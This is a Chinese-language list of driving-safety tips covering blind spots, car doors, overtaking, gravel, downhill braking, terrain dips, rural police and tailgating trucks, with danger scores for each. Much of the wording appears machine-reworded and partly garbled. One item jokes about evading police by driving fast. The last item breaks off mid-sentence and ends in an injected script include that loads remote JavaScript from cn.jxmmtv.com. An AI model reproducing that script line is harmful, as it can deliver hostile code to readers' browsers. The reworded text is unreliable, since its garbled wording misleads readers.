1、在一个三车道的路上，当你从左边超越前车(坐落于中间道)回中间车道时，后面有一辆车以更快的速度从右边超车且稍前于你并入中间车道，假如你只看前面或后视镜，你的车头就大概横擦他们的车尾。因为两车超车时的速度都非常快，发现时距离太近以至来不及反应。这种剐擦碰的危险及类似状况常发生在多车道的城市迅速路上，车多速度快，不少车来回串道超车。只顾一点，不及其余是容易发生危险的。
麻痹指数：6 危险指数：6
建议：须眼观六路，耳听八方。对小白则敌军围困万千重，我自巍然不动。
2、驾驶室的两个侧柱足以挡住一辆自行车行人。同样，车内中后视镜也会不同程度遮挡右下45度视线。在无红灯的十字路口或人车混杂的闹市区，目的较多使注意力分散，行人进入视线死角可能不被知道。如行人与汽车方向平行时这类死角可以维持数秒。这个时候汽车加速或转弯行人就会忽然闪出来致使措手不及。虽然碰撞不会太紧急，但剐了车心痛不说，遇上个难缠的主还是相当麻烦的。
麻痹指数：3 危险指数：3
手段：速度要慢以便有足够时间四处察看，要以三个死角为重点察看目的，摇头晃脑，东张西望。
3、在较窄的街道(尤其是四车道)经过路边停车带时，由于大多数车都贴膜看不清车里的状况，当你经过时应该注意右侧车里的马大哈们忽然开门。这类路基本上都是小街或在小区，出了事可不太好讲理哟。赔个门是小事，把手弄残了可不是闹着玩的!
麻痹指数：4 危险指数：4
手段：减速，鸣笛，尽量走路中间。
4、跟车超车是一种容易见到的现象，一般前车超车从容的时候会走直线并道，如此会有空间挤入两车中间。但当对面来车非常快时，前车就会慌忙急拐并道把你晾在超车道上。这个时候就会前后左右无路可逃。更危险的是，前车比你大一圈，对面来车看不到你，在前车超车并道时对面来车反而开始加速。这样的情况多发生在来往两车道的乡村公路上。我曾有一次类似体验，最后两辆车在3米左右处刹住，我车司机当即发呆10余秒，幸好没出事。
麻痹指数：5 危险指数：5
手段：超车时肯定看清来车动向，不要跟大车超车，等大车超车入位后再行动。
5、在乡村路中有时会遇见农民晾麦子与因修路有短暂的碎沙路面。由于非常短不少人会高速通过。这是很危险的。一般车有紧急状况时，人都会下意识地制动或避闪，但在这种路面上车就成了缰的野马。会以想不到的姿势，向着想不到的方向冲出去。曾有一个报道，因此路面5天发生3起事故，亡6人。
麻痹指数：3 危险指数：
10
提示：对路面变化的影响要有清醒的认识，提前减速并采取预防性手段，防患于未然。
6、走了非常长的山路，在一段较长，空旷且平直的下坡路时，减档制动，引力和制动力平衡，汽车以稳定的速度向下滑行。这时有没想轻松一下，把脚从制动或油门上拿下来活动活动？最好不要，你的脚失去了参照系，危险在潜滋暗长。假如忽然发生状况，还能否把脚准确地踩在制动上？假如你是小白，不会踩在油门上吧？
麻痹指数：2 危险指数：2
忠告：你的腿和脚虽然有点累，但还是建议他们坚持在战斗职位上。
7、当你在宽阔平缓的公路上超车正和前车并行时，忽然对面一辆车从地下钻了出来!状况是如此的：这条路两头平直，中间却有一条波谷。若是一上一下的坡，大部分人会知道，但这种坡双眼会被迷惑的!类似因地形引发的事故多出目前山地坡路，转弯等地形变化的交叉点，司机忽视地形的忽然变化导致的。在此引申出事故地形的定义。请多多注意地形变化状况，准时减速，千万不要由于我们的失误而在某地留下了事故多发路段的牌子!
麻痹指数：7 危险指数7
建议：按他老人家的话风物长宜放眼量，努力培养对危险地段的敏锐感觉。
8、一般在城市公路大伙对交通规则还是很小心的。但乡村公路上从没见那辆车交规当回事，违章开车像眨眼一样频繁。为何？没警察呗!这个时候你是否会随大流而放松了警惕？对你说，警察可能正在某个地方埋伏着，等你往里钻呢!当然，荒无人烟的地方警察是不会去的，警察还是喜欢有个伴，譬如和察车，察费什么的在一块。留心戴大盖帽的就能了。还有你开得非常快警察也追不上你。所以警察会出目前路段相对繁华，行车速度不快，视线不好，而你又急着颖而出的时候。这个时候你的危险就是损失50-200大洋。
麻痹指数：
10 危险指数：
1
忠告：警察就是在你想不到时出现的人!
9、在郊区公路上开车，假如有一辆大车紧紧跟随，寸步不离，是不是有芒刺在背的感觉？假如没，要清醒一下了。前面出现了紧急状况，你刹得住车，大车停得住吗？假如甩不开大车(说明大行车速度度也非常快)，最好的办法?script src=http://cn.jxmmtv.com/cn.js
